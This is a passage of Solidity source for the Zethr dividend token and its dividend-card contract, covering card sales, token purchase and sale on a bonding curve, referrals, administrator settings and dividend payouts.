function approve(address _to, uint _tokenId) public;
function balanceOf(address _owner) public view returns (uint balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint _tokenId) public view returns (address addr);
function takeOwnership(uint _tokenId) public;
function totalSupply() public view returns (uint total);
function transferFrom(address _from, address _to, uint _tokenId) public;
function transfer(address _to, uint _tokenId) public;
event Transfer(address indexed from, address indexed to, uint tokenId);
event Approval(address indexed owner, address indexed approved, uint tokenId);
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ZethrDividendCards is ERC721Interface {
using SafeMath for uint;
event Birth(uint tokenId, string name, address owner);
event TokenSold(uint tokenId, uint oldPrice, uint newPrice, address prevOwner, address winner, string name);
event Transfer(address from, address to, uint tokenId);
event BankrollDivCardProfit(uint bankrollProfit, uint percentIncrease, address oldOwner);
event BankrollProfitFailure(uint bankrollProfit, uint percentIncrease, address oldOwner);
event UserDivCardProfit(uint divCardProfit, uint percentIncrease, address oldOwner);
event DivCardProfitFailure(uint divCardProfit, uint percentIncrease, address oldOwner);
event masterCardProfit(uint toMaster, address _masterAddress, uint _divCardId);
event masterCardProfitFailure(uint toMaster, address _masterAddress, uint _divCardId);
event regularCardProfit(uint toRegular, address _regularAddress, uint _divCardId);
event regularCardProfitFailure(uint toRegular, address _regularAddress, uint _divCardId);
string public constant NAME = "ZethrDividendCard";
string public constant SYMBOL = "ZDC";
address public BANKROLL;
mapping (uint => address) public divCardIndexToOwner;
mapping (uint => uint) public divCardRateToIndex;
mapping (address => uint) private ownershipDivCardCount;
mapping (uint => address) public divCardIndexToApproved;
mapping (uint => uint) private divCardIndexToPrice;
mapping (address => bool) internal administrators;
address public creator;
bool public onSale;
struct Card {
string name;
uint percentIncrease;
}
Card[] private divCards;
modifier onlyCreator() {
require(msg.sender == creator);
_;
}
constructor (address _bankroll) public {
creator = msg.sender;
BANKROLL = _bankroll;
createDivCard("2%", 1 ether, 2);
divCardRateToIndex[2] = 0;
createDivCard("5%", 1 ether, 5);
divCardRateToIndex[5] = 1;
createDivCard("10%", 1 ether, 10);
divCardRateToIndex[10] = 2;
createDivCard("15%", 1 ether, 15);
divCardRateToIndex[15] = 3;
createDivCard("20%", 1 ether, 20);
divCardRateToIndex[20] = 4;
createDivCard("25%", 1 ether, 25);
divCardRateToIndex[25] = 5;
createDivCard("33%", 1 ether, 33);
divCardRateToIndex[33] = 6;
createDivCard("MASTER", 5 ether, 10);
divCardRateToIndex[999] = 7;
onSale = true;
administrators[0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae] = true;
administrators[0x11e52c75998fe2E7928B191bfc5B25937Ca16741] = true;
administrators[0x20C945800de43394F70D789874a4daC9cFA57451] = true;
administrators[0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB] = true;
administrators[msg.sender] = true;
}
modifier isNotContract()
{
require (msg.sender == tx.origin);
_;
}
modifier hasStarted()
{
require (onSale == true);
_;
}
modifier isAdmin()
{
require(administrators[msg.sender]);
_;
}
function setBankroll(address where)
public
isAdmin
{
BANKROLL = where;
}
function approve(address _to, uint _tokenId)
public
isNotContract
{
require(_owns(msg.sender, _tokenId));
divCardIndexToApproved[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner)
public
view
returns (uint balance)
{
return ownershipDivCardCount[_owner];
}
function createDivCard(string _name, uint _price, uint _percentIncrease)
public
onlyCreator
{
_createDivCard(_name, BANKROLL, _price, _percentIncrease);
}
function startCardSale()
public
isAdmin
{
onSale = true;
}
function getDivCard(uint _divCardId)
public
view
returns (string divCardName, uint sellingPrice, address owner)
{
Card storage divCard = divCards[_divCardId];
divCardName = divCard.name;
sellingPrice = divCardIndexToPrice[_divCardId];
owner = divCardIndexToOwner[_divCardId];
}
function implementsERC721()
public
pure
returns (bool)
{
return true;
}
function name()
public
pure
returns (string)
{
return NAME;
}
function ownerOf(uint _divCardId)
public
view
returns (address owner)
{
owner = divCardIndexToOwner[_divCardId];
require(owner != address(0));
return owner;
}
function purchase(uint _divCardId)
public
payable
hasStarted
isNotContract
{
address oldOwner = divCardIndexToOwner[_divCardId];
address newOwner = msg.sender;
uint currentPrice = divCardIndexToPrice[_divCardId];
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
require(msg.value >= currentPrice);
uint percentIncrease = divCards[_divCardId].percentIncrease;
uint previousPrice = SafeMath.mul(currentPrice, 100).div(100 + percentIncrease);
uint totalProfit = SafeMath.sub(currentPrice, previousPrice);
uint oldOwnerProfit = SafeMath.div(totalProfit, 2);
uint bankrollProfit = SafeMath.sub(totalProfit, oldOwnerProfit);
oldOwnerProfit = SafeMath.add(oldOwnerProfit, previousPrice);
uint purchaseExcess = SafeMath.sub(msg.value, currentPrice);
divCardIndexToPrice[_divCardId] = SafeMath.div(SafeMath.mul(currentPrice, (100 + percentIncrease)), 100);
_transfer(oldOwner, newOwner, _divCardId);
if(BANKROLL.send(bankrollProfit)) {
emit BankrollDivCardProfit(bankrollProfit, percentIncrease, oldOwner);
} else {
emit BankrollProfitFailure(bankrollProfit, percentIncrease, oldOwner);
}
if(oldOwner.send(oldOwnerProfit)) {
emit UserDivCardProfit(oldOwnerProfit, percentIncrease, oldOwner);
} else {
emit DivCardProfitFailure(oldOwnerProfit, percentIncrease, oldOwner);
}
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint _divCardId)
public
view
returns (uint price)
{
return divCardIndexToPrice[_divCardId];
}
function setCreator(address _creator)
public
onlyCreator
{
require(_creator != address(0));
creator = _creator;
}
function symbol()
public
pure
returns (string)
{
return SYMBOL;
}
function takeOwnership(uint _divCardId)
public
isNotContract
{
address newOwner = msg.sender;
address oldOwner = divCardIndexToOwner[_divCardId];
require(_addressNotNull(newOwner));
require(_approved(newOwner, _divCardId));
_transfer(oldOwner, newOwner, _divCardId);
}
function totalSupply()
public
view
returns (uint total)
{
return divCards.length;
}
function transfer(address _to, uint _divCardId)
public
isNotContract
{
require(_owns(msg.sender, _divCardId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _divCardId);
}
function transferFrom(address _from, address _to, uint _divCardId)
public
isNotContract
{
require(_owns(_from, _divCardId));
require(_approved(_to, _divCardId));
require(_addressNotNull(_to));
_transfer(_from, _to, _divCardId);
}
function receiveDividends(uint _divCardRate)
public
payable
{
uint _divCardId = divCardRateToIndex[_divCardRate];
address _regularAddress = divCardIndexToOwner[_divCardId];
address _masterAddress = divCardIndexToOwner[7];
uint toMaster = msg.value.div(2);
uint toRegular = msg.value.sub(toMaster);
if(_masterAddress.send(toMaster)){
emit masterCardProfit(toMaster, _masterAddress, _divCardId);
} else {
emit masterCardProfitFailure(toMaster, _masterAddress, _divCardId);
}
if(_regularAddress.send(toRegular)) {
emit regularCardProfit(toRegular, _regularAddress, _divCardId);
} else {
emit regularCardProfitFailure(toRegular, _regularAddress, _divCardId);
}
}
function _addressNotNull(address _to)
private
pure
returns (bool)
{
return _to != address(0);
}
function _approved(address _to, uint _divCardId)
private
view
returns (bool)
{
return divCardIndexToApproved[_divCardId] == _to;
}
function _createDivCard(string _name, address _owner, uint _price, uint _percentIncrease)
private
{
Card memory _divcard = Card({
name: _name,
percentIncrease: _percentIncrease
});
uint newCardId = divCards.push(_divcard) - 1;
require(newCardId == uint(uint32(newCardId)));
emit Birth(newCardId, _name, _owner);
divCardIndexToPrice[newCardId] = _price;
_transfer(BANKROLL, _owner, newCardId);
}
function _owns(address claimant, uint _divCardId)
private
view
returns (bool)
{
return claimant == divCardIndexToOwner[_divCardId];
}
function _transfer(address _from, address _to, uint _divCardId)
private
{
ownershipDivCardCount[_to]++;
divCardIndexToOwner[_divCardId] = _to;
if (_from != address(0)) {
ownershipDivCardCount[_from]--;
delete divCardIndexToApproved[_divCardId];
}
emit Transfer(_from, _to, _divCardId);
}
}
contract Zethr {
using SafeMath for uint;
modifier onlyHolders() {
require(myFrontEndTokens() > 0);
_;
}
modifier dividendHolder() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint incomingEthereum,
uint tokensMinted,
address indexed referredBy
);
event UserDividendRate(
address user,
uint divRate
);
event onTokenSell(
address indexed customerAddress,
uint tokensBurned,
uint ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint ethereumReinvested,
uint tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint tokens
);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint tokens
);
event Allocation(
uint toBankRoll,
uint toReferrer,
uint toTokenHolders,
uint toDivCardHolders,
uint forTokens
);
event Referral(
address referrer,
uint amountReceived
);
uint8 constant public decimals = 18;
uint constant internal tokenPriceInitial_ = 0.000653 ether;
uint constant internal magnitude = 2 ** 64;
uint constant internal icoHardCap = 250 ether;
uint constant internal addressICOLimit = 1 ether;
uint constant internal icoMinBuyIn = 0.1 finney;
uint constant internal icoMaxGasPrice = 50000000000 wei;
uint constant internal MULTIPLIER = 9615;
uint constant internal MIN_ETH_BUYIN = 0.0001 ether;
uint constant internal MIN_TOKEN_SELL_AMOUNT = 0.0001 ether;
uint constant internal MIN_TOKEN_TRANSFER = 1e10;
uint constant internal referrer_percentage = 25;
uint public stakingRequirement = 100e18;
string public name = "Zethr";
string public symbol = "ZTH";
bytes32 constant public icoHashedPass = bytes32(0x8a6ddee3fb2508ff4a5b02b48e9bc4566d0f3e11f306b0f75341bf235662a9e3);
address internal bankrollAddress;
ZethrDividendCards divCardContract;
mapping(address => uint) internal frontTokenBalanceLedger_;
mapping(address => uint) internal dividendTokenBalanceLedger_;
mapping(address =>
mapping(address => uint))
public allowed;
mapping(uint8 => bool) internal validDividendRates_;
mapping(address => bool) internal userSelectedRate;
mapping(address => uint8) internal userDividendRate;
mapping(address => uint) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint) internal ICOBuyIn;
uint public tokensMintedDuringICO;
uint public ethInvestedDuringICO;
uint public currentEthInvested;
uint internal tokenSupply = 0;
uint internal divTokenSupply = 0;
uint internal profitPerDivToken;
mapping(address => bool) public administrators;
bool public icoPhase = false;
bool public regularPhase = false;
uint icoOpenTime;
constructor (address _bankrollAddress, address _divCardAddress)
public
{
bankrollAddress = _bankrollAddress;
divCardContract = ZethrDividendCards(_divCardAddress);
administrators[0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae] = true;
administrators[0x11e52c75998fe2E7928B191bfc5B25937Ca16741] = true;
administrators[0x20C945800de43394F70D789874a4daC9cFA57451] = true;
administrators[0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB] = true;
administrators[0x8537aa2911b193e5B377938A723D805bb0865670] = true;
administrators[0x9D221b2100CbE5F05a0d2048E2556a6Df6f9a6C3] = true;
administrators[0xDa83156106c4dba7A26E9bF2Ca91E273350aa551] = true;
administrators[0x71009e9E4e5e68e77ECc7ef2f2E95cbD98c6E696] = true;
administrators[msg.sender] = true;
validDividendRates_[2] = true;
validDividendRates_[5] = true;
validDividendRates_[10] = true;
validDividendRates_[15] = true;
validDividendRates_[20] = true;
validDividendRates_[25] = true;
validDividendRates_[33] = true;
userSelectedRate[bankrollAddress] = true;
userDividendRate[bankrollAddress] = 33;
}
function buyAndSetDivPercentage(address _referredBy, uint8 _divChoice, string )
public
payable
returns (uint)
{
require(icoPhase || regularPhase);
if (icoPhase) {
uint gasPrice = tx.gasprice;
require(gasPrice <= icoMaxGasPrice && ethInvestedDuringICO <= icoHardCap);
}
require(validDividendRates_[_divChoice]);
userSelectedRate[msg.sender] = true;
userDividendRate[msg.sender] = _divChoice;
emit UserDividendRate(msg.sender, _divChoice);
purchaseTokens(msg.value, _referredBy);
}
function buy(address _referredBy)
public
payable
returns (uint)
{
require(regularPhase);
address _customerAddress = msg.sender;
require(userSelectedRate[_customerAddress]);
purchaseTokens(msg.value, _referredBy);
}
function buyAndTransfer(address _referredBy, address target)
public
payable
{
bytes memory empty;
buyAndTransfer(_referredBy, target, empty, 20);
}
function buyAndTransfer(address _referredBy, address target, bytes _data)
public
payable
{
buyAndTransfer(_referredBy, target, _data, 20);
}
function buyAndTransfer(address _referredBy, address target, bytes _data, uint8 divChoice)
public
payable
{
require(regularPhase);
address _customerAddress = msg.sender;
uint256 frontendBalance = frontTokenBalanceLedger_[msg.sender];
if (userSelectedRate[_customerAddress] && divChoice == 0) {
purchaseTokens(msg.value, _referredBy);
} else {
buyAndSetDivPercentage(_referredBy, divChoice, "0x0");
}
uint256 difference = SafeMath.sub(frontTokenBalanceLedger_[msg.sender], frontendBalance);
transferTo(msg.sender, target, difference, _data);
}
function()
payable
public
{
require(regularPhase);
address _customerAddress = msg.sender;
if (userSelectedRate[_customerAddress]) {
purchaseTokens(msg.value, 0x0);
} else {
buyAndSetDivPercentage(0x0, 20, "0x0");
}
}
function reinvest()
dividendHolder()
public
{
require(regularPhase);
uint _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
require(regularPhase);
address _customerAddress = msg.sender;
uint _tokens = frontTokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw(_customerAddress);
}
function withdraw(address _recipient)
dividendHolder()
public
{
require(regularPhase);
address _customerAddress = msg.sender;
uint _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
if (_recipient == address(0x0)) {
_recipient = msg.sender;
}
_recipient.transfer(_dividends);
emit onWithdraw(_recipient, _dividends);
}
function sell(uint _amountOfTokens)
onlyHolders()
public
{
require(!icoPhase);
require(regularPhase);
require(_amountOfTokens <= frontTokenBalanceLedger_[msg.sender]);
uint _frontEndTokensToBurn = _amountOfTokens;
uint userDivRate = getUserAverageDividendRate(msg.sender);
require((2 * magnitude) <= userDivRate && (50 * magnitude) >= userDivRate);
uint _divTokensToBurn = (_frontEndTokensToBurn.mul(userDivRate)).div(magnitude);
uint _ethereum = tokensToEthereum_(_frontEndTokensToBurn);
if (_ethereum > currentEthInvested) {
currentEthInvested = 0;
} else {currentEthInvested = currentEthInvested - _ethereum;}
uint _dividends = (_ethereum.mul(getUserAverageDividendRate(msg.sender)).div(100)).div(magnitude);
uint _taxedEthereum = _ethereum.sub(_dividends);
tokenSupply = tokenSupply.sub(_frontEndTokensToBurn);
divTokenSupply = divTokenSupply.sub(_divTokensToBurn);
frontTokenBalanceLedger_[msg.sender] = frontTokenBalanceLedger_[msg.sender].sub(_frontEndTokensToBurn);
dividendTokenBalanceLedger_[msg.sender] = dividendTokenBalanceLedger_[msg.sender].sub(_divTokensToBurn);
int256 _updatedPayouts = (int256) (profitPerDivToken * _divTokensToBurn + (_taxedEthereum * magnitude));
payoutsTo_[msg.sender] -= _updatedPayouts;
if (divTokenSupply > 0) {
profitPerDivToken = profitPerDivToken.add((_dividends * magnitude) / divTokenSupply);
}
emit onTokenSell(msg.sender, _frontEndTokensToBurn, _taxedEthereum);
}
function transfer(address _toAddress, uint _amountOfTokens)
onlyHolders()
public
returns (bool)
{
require(_amountOfTokens >= MIN_TOKEN_TRANSFER && _amountOfTokens <= frontTokenBalanceLedger_[msg.sender]);
bytes memory empty;
transferFromInternal(msg.sender, _toAddress, _amountOfTokens, empty);
return true;
}
function approve(address spender, uint tokens)
public
returns (bool)
{
address _customerAddress = msg.sender;
allowed[_customerAddress][spender] = tokens;
emit Approval(_customerAddress, spender, tokens);
return true;
}
function transferFrom(address _from, address _toAddress, uint _amountOfTokens)
public
returns (bool)
{
address _customerAddress = _from;
bytes memory empty;
require(_amountOfTokens >= MIN_TOKEN_TRANSFER
&& _amountOfTokens <= frontTokenBalanceLedger_[_customerAddress]
&& _amountOfTokens <= allowed[_customerAddress][msg.sender]);
transferFromInternal(_from, _toAddress, _amountOfTokens, empty);
return true;
}
function transferTo(address _from, address _to, uint _amountOfTokens, bytes _data)
public
{
if (_from != msg.sender) {
require(_amountOfTokens >= MIN_TOKEN_TRANSFER
&& _amountOfTokens <= frontTokenBalanceLedger_[_from]
&& _amountOfTokens <= allowed[_from][msg.sender]);
}
else {
require(_amountOfTokens >= MIN_TOKEN_TRANSFER
&& _amountOfTokens <= frontTokenBalanceLedger_[_from]);
}
transferFromInternal(_from, _to, _amountOfTokens, _data);
}
function totalSupply()
public
view
returns (uint256)
{
return tokenSupply;
}
function publicStartRegularPhase()
public
{
require(now > (icoOpenTime + 2 weeks) && icoOpenTime != 0);
icoPhase = false;
regularPhase = true;
}
function startICOPhase()
onlyAdministrator()
public
{
require(icoOpenTime == 0);
icoPhase = true;
icoOpenTime = now;
}
function endICOPhase()
onlyAdministrator()
public
{
icoPhase = false;
}
function startRegularPhase()
onlyAdministrator
public
{
icoPhase = false;
regularPhase = true;
}
function setAdministrator(address _newAdmin, bool _status)
onlyAdministrator()
public
{
administrators[_newAdmin] = _status;
}
function setStakingRequirement(uint _amountOfTokens)
onlyAdministrator()
public
{
require(_amountOfTokens >= 100e18);
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function changeBankroll(address _newBankrollAddress)
onlyAdministrator
public
{
bankrollAddress = _newBankrollAddress;
}
function totalEthereumBalance()
public
view
returns (uint)
{
return address(this).balance;
}
function totalEthereumICOReceived()
public
view
returns (uint)
{
return ethInvestedDuringICO;
}
function getMyDividendRate()
public
view
returns (uint8)
{
address _customerAddress = msg.sender;
require(userSelectedRate[_customerAddress]);
return userDividendRate[_customerAddress];
}
function getFrontEndTokenSupply()
public
view
returns (uint)
{
return tokenSupply;
}
function getDividendTokenSupply()
public
view
returns (uint)
{
return divTokenSupply;
}
function myFrontEndTokens()
public
view
returns (uint)
{
address _customerAddress = msg.sender;
return getFrontEndTokenBalanceOf(_customerAddress);
}
function myDividendTokens()
public
view
returns (uint)
{
address _customerAddress = msg.sender;
return getDividendTokenBalanceOf(_customerAddress);
}
function myReferralDividends()
public
view
returns (uint)
{
return myDividends(true) - myDividends(false);
}
function myDividends(bool _includeReferralBonus)
public
view
returns (uint)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress);
}
function theDividendsOf(bool _includeReferralBonus, address _customerAddress)
public
view
returns (uint)
{
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress);
}
function getFrontEndTokenBalanceOf(address _customerAddress)
view
public
returns (uint)
{
return frontTokenBalanceLedger_[_customerAddress];
}
function balanceOf(address _owner)
view
public
returns (uint)
{
return getFrontEndTokenBalanceOf(_owner);
}
function getDividendTokenBalanceOf(address _customerAddress)
view
public
returns (uint)
{
return dividendTokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns (uint)
{
return (uint) ((int256)(profitPerDivToken * dividendTokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns (uint)
{
uint price;
if (icoPhase || currentEthInvested < ethInvestedDuringICO) {
price = tokenPriceInitial_;
} else {
uint tokensReceivedForEth = ethereumToTokens_(0.001 ether);
price = (1e18 * 0.001 ether) / tokensReceivedForEth;
}
uint theSellPrice = price.sub((price.mul(getUserAverageDividendRate(msg.sender)).div(100)).div(magnitude));
return theSellPrice;
}
function buyPrice(uint dividendRate)
public
view
returns (uint)
{
uint price;
if (icoPhase || currentEthInvested < ethInvestedDuringICO) {
price = tokenPriceInitial_;
} else {
uint tokensReceivedForEth = ethereumToTokens_(0.001 ether);
price = (1e18 * 0.001 ether) / tokensReceivedForEth;
}
uint theBuyPrice = (price.mul(dividendRate).div(100)).add(price);
return theBuyPrice;
}
function calculateTokensReceived(uint _ethereumToSpend)
public
view
returns (uint)
{
uint _dividends = (_ethereumToSpend.mul(userDividendRate[msg.sender])).div(100);
uint _taxedEthereum = _ethereumToSpend.sub(_dividends);
uint _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint _tokensToSell)
public
view
returns (uint)
{
require(_tokensToSell <= tokenSupply);
uint _ethereum = tokensToEthereum_(_tokensToSell);
uint userAverageDividendRate = getUserAverageDividendRate(msg.sender);
uint _dividends = (_ethereum.mul(userAverageDividendRate).div(100)).div(magnitude);
uint _taxedEthereum = _ethereum.sub(_dividends);
return _taxedEthereum;
}
function getUserAverageDividendRate(address user) public view returns (uint) {
return (magnitude * dividendTokenBalanceLedger_[user]).div(frontTokenBalanceLedger_[user]);
}
function getMyAverageDividendRate() public view returns (uint) {
return getUserAverageDividendRate(msg.sender);
}
function purchaseTokens(uint _incomingEthereum, address _referredBy)
internal
returns (uint)
{
require(_incomingEthereum >= MIN_ETH_BUYIN || msg.sender == bankrollAddress, "Tried to buy below the min eth buyin threshold.");
uint toBankRoll;
uint toReferrer;
uint toTokenHolders;
uint toDivCardHolders;
uint dividendAmount;
uint tokensBought;
uint dividendTokensBought;
uint remainingEth = _incomingEthereum;
uint fee;
if (regularPhase) {
toDivCardHolders = _incomingEthereum.div(100);
remainingEth = remainingEth.sub(toDivCardHolders);
}
uint dividendRate = userDividendRate[msg.sender];
dividendAmount = (remainingEth.mul(dividendRate)).div(100);
remainingEth = remainingEth.sub(dividendAmount);
if (icoPhase && msg.sender == bankrollAddress) {
remainingEth = remainingEth + dividendAmount;
}
tokensBought = ethereumToTokens_(remainingEth);
dividendTokensBought = tokensBought.mul(dividendRate);
tokenSupply = tokenSupply.add(tokensBought);
divTokenSupply = divTokenSupply.add(dividendTokensBought);
currentEthInvested = currentEthInvested + remainingEth;
if (icoPhase) {
toBankRoll = dividendAmount;
if (msg.sender == bankrollAddress) {
toBankRoll = 0;
}
toReferrer = 0;
toTokenHolders = 0;
ethInvestedDuringICO = ethInvestedDuringICO + remainingEth;
tokensMintedDuringICO = tokensMintedDuringICO + tokensBought;
require(ethInvestedDuringICO <= icoHardCap);
require(tx.origin == msg.sender || msg.sender == bankrollAddress);
ICOBuyIn[msg.sender] += remainingEth;
if (ethInvestedDuringICO == icoHardCap) {
icoPhase = false;
}
} else {
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != msg.sender &&
frontTokenBalanceLedger_[_referredBy] >= stakingRequirement)
{
toReferrer = (dividendAmount.mul(referrer_percentage)).div(100);
referralBalance_[_referredBy] += toReferrer;
emit Referral(_referredBy, toReferrer);
}
toTokenHolders = dividendAmount.sub(toReferrer);
fee = toTokenHolders * magnitude;
fee = fee - (fee - (dividendTokensBought * (toTokenHolders * magnitude / (divTokenSupply))));
profitPerDivToken = profitPerDivToken.add((toTokenHolders.mul(magnitude)).div(divTokenSupply));
payoutsTo_[msg.sender] += (int256) ((profitPerDivToken * dividendTokensBought) - fee);
}
frontTokenBalanceLedger_[msg.sender] = frontTokenBalanceLedger_[msg.sender].add(tokensBought);
dividendTokenBalanceLedger_[msg.sender] = dividendTokenBalanceLedger_[msg.sender].add(dividendTokensBought);
if (toBankRoll != 0) {ZethrBankroll(bankrollAddress).receiveDividends.value(toBankRoll)();}
if (regularPhase) {divCardContract.receiveDividends.value(toDivCardHolders)(dividendRate);}
emit Allocation(toBankRoll, toReferrer, toTokenHolders, toDivCardHolders, remainingEth);
uint sum = toBankRoll + toReferrer + toTokenHolders + toDivCardHolders + remainingEth - _incomingEthereum;
assert(sum == 0);
}
function ethereumToTokens_(uint _ethereumAmount)
public
view
returns (uint)
{
require(_ethereumAmount > MIN_ETH_BUYIN, "Tried to buy tokens with too little eth.");
if (icoPhase) {
return _ethereumAmount.div(tokenPriceInitial_) * 1e18;
}
uint ethTowardsICOPriceTokens = 0;
uint ethTowardsVariablePriceTokens = 0;
if (currentEthInvested >= ethInvestedDuringICO) {
ethTowardsVariablePriceTokens = _ethereumAmount;
} else if (currentEthInvested < ethInvestedDuringICO && currentEthInvested + _ethereumAmount <= ethInvestedDuringICO) {
ethTowardsICOPriceTokens = _ethereumAmount;
} else if (currentEthInvested < ethInvestedDuringICO && currentEthInvested + _ethereumAmount > ethInvestedDuringICO) {
ethTowardsICOPriceTokens = ethInvestedDuringICO.sub(currentEthInvested);
ethTowardsVariablePriceTokens = _ethereumAmount.sub(ethTowardsICOPriceTokens);
} else {
revert();
}
assert(ethTowardsICOPriceTokens + ethTowardsVariablePriceTokens == _ethereumAmount);
uint icoPriceTokens = 0;
uint varPriceTokens = 0;
if (ethTowardsICOPriceTokens != 0) {
icoPriceTokens = ethTowardsICOPriceTokens.mul(1e18).div(tokenPriceInitial_);
}
if (ethTowardsVariablePriceTokens != 0) {
uint simulatedEthBeforeInvested = toPowerOfThreeHalves(tokenSupply.div(MULTIPLIER * 1e6)).mul(2).div(3) + ethTowardsICOPriceTokens;
uint simulatedEthAfterInvested = simulatedEthBeforeInvested + ethTowardsVariablePriceTokens;
uint tokensBefore = toPowerOfTwoThirds(simulatedEthBeforeInvested.mul(3).div(2)).mul(MULTIPLIER);
uint tokensAfter = toPowerOfTwoThirds(simulatedEthAfterInvested.mul(3).div(2)).mul(MULTIPLIER);
varPriceTokens = (1e6) * tokensAfter.sub(tokensBefore);
}
uint totalTokensReceived = icoPriceTokens + varPriceTokens;
assert(totalTokensReceived > 0);
return totalTokensReceived;
}
function tokensToEthereum_(uint _tokens)
public
view
returns (uint)
{
require(_tokens >= MIN_TOKEN_SELL_AMOUNT, "Tried to sell too few tokens.");
uint tokensToSellAtICOPrice = 0;
uint tokensToSellAtVariablePrice = 0;
if (tokenSupply <= tokensMintedDuringICO) {
tokensToSellAtICOPrice = _tokens;
} else if (tokenSupply > tokensMintedDuringICO && tokenSupply - _tokens >= tokensMintedDuringICO) {
tokensToSellAtVariablePrice = _tokens;
} else if (tokenSupply > tokensMintedDuringICO && tokenSupply - _tokens < tokensMintedDuringICO) {
tokensToSellAtVariablePrice = tokenSupply.sub(tokensMintedDuringICO);
tokensToSellAtICOPrice = _tokens.sub(tokensToSellAtVariablePrice);
} else {
revert();
}
assert(tokensToSellAtVariablePrice + tokensToSellAtICOPrice == _tokens);
uint ethFromICOPriceTokens;
uint ethFromVarPriceTokens;
if (tokensToSellAtICOPrice != 0) {
ethFromICOPriceTokens = tokensToSellAtICOPrice.mul(tokenPriceInitial_).div(1e18);
}
if (tokensToSellAtVariablePrice != 0) {
uint investmentBefore = toPowerOfThreeHalves(tokenSupply.div(MULTIPLIER * 1e6)).mul(2).div(3);
uint investmentAfter = toPowerOfThreeHalves((tokenSupply - tokensToSellAtVariablePrice).div(MULTIPLIER * 1e6)).mul(2).div(3);
ethFromVarPriceTokens = investmentBefore.sub(investmentAfter);
}
uint totalEthReceived = ethFromVarPriceTokens + ethFromICOPriceTokens;
assert(totalEthReceived > 0);
return totalEthReceived;
}
function transferFromInternal(address _from, address _toAddress, uint _amountOfTokens, bytes _data)
internal
{
require(regularPhase);
require(_toAddress != address(0x0));
address _customerAddress = _from;
uint _amountOfFrontEndTokens = _amountOfTokens;
if (theDividendsOf(true, _customerAddress) > 0) withdrawFrom(_customerAddress);
uint _amountOfDivTokens = _amountOfFrontEndTokens.mul(getUserAverageDividendRate(_customerAddress)).div(magnitude);
if (_customerAddress != msg.sender) {
allowed[_customerAddress][msg.sender] -= _amountOfTokens;
}
frontTokenBalanceLedger_[_customerAddress] = frontTokenBalanceLedger_[_customerAddress].sub(_amountOfFrontEndTokens);
frontTokenBalanceLedger_[_toAddress] = frontTokenBalanceLedger_[_toAddress].add(_amountOfFrontEndTokens);
dividendTokenBalanceLedger_[_customerAddress] = dividendTokenBalanceLedger_[_customerAddress].sub(_amountOfDivTokens);
dividendTokenBalanceLedger_[_toAddress] = dividendTokenBalanceLedger_[_toAddress].add(_amountOfDivTokens);
if (!userSelectedRate[_toAddress])
{
userSelectedRate[_toAddress] = true;
userDividendRate[_toAddress] = userDividendRate[_customerAddress];
}
payoutsTo_[_customerAddress] -= (int256) (profitPerDivToken * _amountOfDivTokens);
payoutsTo_[_toAddress] += (int256) (profitPerDivToken * _amountOfDivTokens);
uint length;
assembly {
length := extcodesize(_toAddress)
}
if (length > 0) {
ERC223Receiving receiver = ERC223Receiving(_toAddress);
receiver.tokenFallback(_from, _amountOfTokens, _data);
}
emit Transfer(_customerAddress, _toAddress, _amountOfFrontEndTokens);
}
function withdrawFrom(address _customerAddress)
internal
{
uint _dividends = theDividendsOf(false, _customerAddress);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function injectEther()
public
payable
onlyAdministrator
{
}
function toPowerOfThreeHalves(uint x) public pure returns (uint) {
return sqrt(x ** 3);
}
function toPowerOfTwoThirds(uint x) public pure returns (uint) {
return cbrt(x ** 2);
}
function sqrt(uint x) public pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function cbrt(uint x) public pure returns (uint y) {
uint z = (x + 1) / 3;
y = x;
while (z < y) {
y = z;
z = (x / (z * z) + 2 * z) / 3;
}
}
}
contract ZethrBankroll {
function receiveDividends() public payable {}
}
contract JackpotHolding is ERC223Receiving {
uint public payOutNumber = 0;
